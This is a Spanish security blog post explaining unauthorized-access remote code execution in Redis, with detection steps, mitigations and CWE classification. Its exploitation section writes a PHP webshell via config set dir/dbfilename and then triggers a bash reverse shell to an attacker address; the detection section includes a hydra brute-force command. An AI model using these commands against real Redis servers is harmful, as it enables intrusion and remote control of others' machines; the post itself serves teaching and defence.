cd ~/blog

~/vulns/redis-unauthorized-access-rce.md

Redis Unauthorized Access RCE

web 18-06-2026
RedisRCEwebshell

~2 min de lectura


1. Descripción técnica del ataque

Redis es un almacén de datos clave-valor en memoria. Por defecto, en versiones antiguas, escucha en el puerto 6379 sin autenticación y enlazado a todas las interfaces, lo que permite a cualquier atacante de la red interactuar con él.

El abuso más conocido aprovecha que Redis puede persistir su base de datos a disco en una ruta y nombre de archivo controlables. Combinando esto con un valor que contenga código, se puede escribir un archivo arbitrario en el sistema:

  • Webshell: apuntar dir al DocumentRoot del servidor web, fijar dbfilename a un .php y guardar una clave con código PHP. Al solicitar el archivo por el web, se ejecuta.
  • Clave SSH: escribir una clave pública autorizada en ~/.ssh/authorized_keys de un usuario.
  • Cron: escribir un cronjob en /var/cron/....
  • En versiones modernas, también existen módulos maliciosos (MODULE LOAD) y el RCE de replicaof (RedisModules / RedisRCE).

Cuando Redis sí requiere contraseña, esta suele ser débil y se puede obtener por fuerza bruta (hydra) antes de aplicar la técnica.

2. Impacto de la vulnerabilidad

  • Ejecución remota de código con los privilegios del usuario que ejecuta Redis (a veces redis, a veces un usuario con más permisos).
  • Escritura de archivos arbitrarios en el sistema.
  • Lectura de todos los datos almacenados en Redis (posibles credenciales).

3. Historia y evolución

  • El acceso no autenticado de Redis es un problema histórico documentado por el propio proyecto (que recomienda no exponerlo).
  • En 2015-2016 se popularizó la técnica de webshell/clave SSH vía config set dir.
  • Versiones recientes añaden el modo protected-mode (activo por defecto) que mitiga el acceso remoto sin bind/clave explícitos.

4. Factores que la hacen posible

  1. Redis accesible en red (puerto 6379) sin autenticación o con contraseña débil.
  2. Conocimiento de una ruta escribible relevante (DocumentRoot web, home de un usuario, etc.).
  3. Permisos del proceso Redis suficientes para escribir en esa ruta.

5. Detección

nmap -sCV -p6379 target            # redis ...
redis-cli -h target ping           # PONG (sin auth) o NOAUTH (con auth)
redis-cli -h target INFO

Si pide autenticación, se puede hacer fuerza bruta:

hydra -P rockyou.txt target redis

6. Mitigación

  1. Habilitar autenticación (requirepass) con una contraseña fuerte y/o ACLs.
  2. No exponer Redis a redes no confiables; bind a 127.0.0.1 y firewall.
  3. Mantener protected-mode activado.
  4. Ejecutar Redis con un usuario sin privilegios y sin escritura sobre rutas sensibles.

7. Ejemplo de explotación real

Escritura de una webshell PHP en el DocumentRoot:

 redis-cli -h 192.168.1.16
192.168.1.16:6379> config set dir /var/www/html
OK
192.168.1.16:6379> config set dbfilename pwned.php
OK
192.168.1.16:6379> set payload "<?php system($_GET['cmd']); ?>"
OK
192.168.1.16:6379> save
OK

Luego se invoca el comando vía el web para obtener una reverse shell:

http://192.168.1.16:8080/pwned.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.1.7/1234 0>&1'

8. Clasificación

  • Tipo: Security Misconfiguration / Arbitrary File Write → Remote Code Execution
  • CWE:
    • CWE-306 – Missing Authentication for Critical Function
    • CWE-285 – Improper Authorization
    • CWE-94 – Code Injection

9. Resumen

Un Redis sin autenticación (o con contraseña débil) permite, vía config set dir/dbfilename + save, escribir archivos arbitrarios como webshells o claves SSH, logrando RCE. La defensa es habilitar autenticación, no exponerlo y mantener protected-mode. Las credenciales almacenadas también pueden reutilizarse para escalar localmente.

// relacionados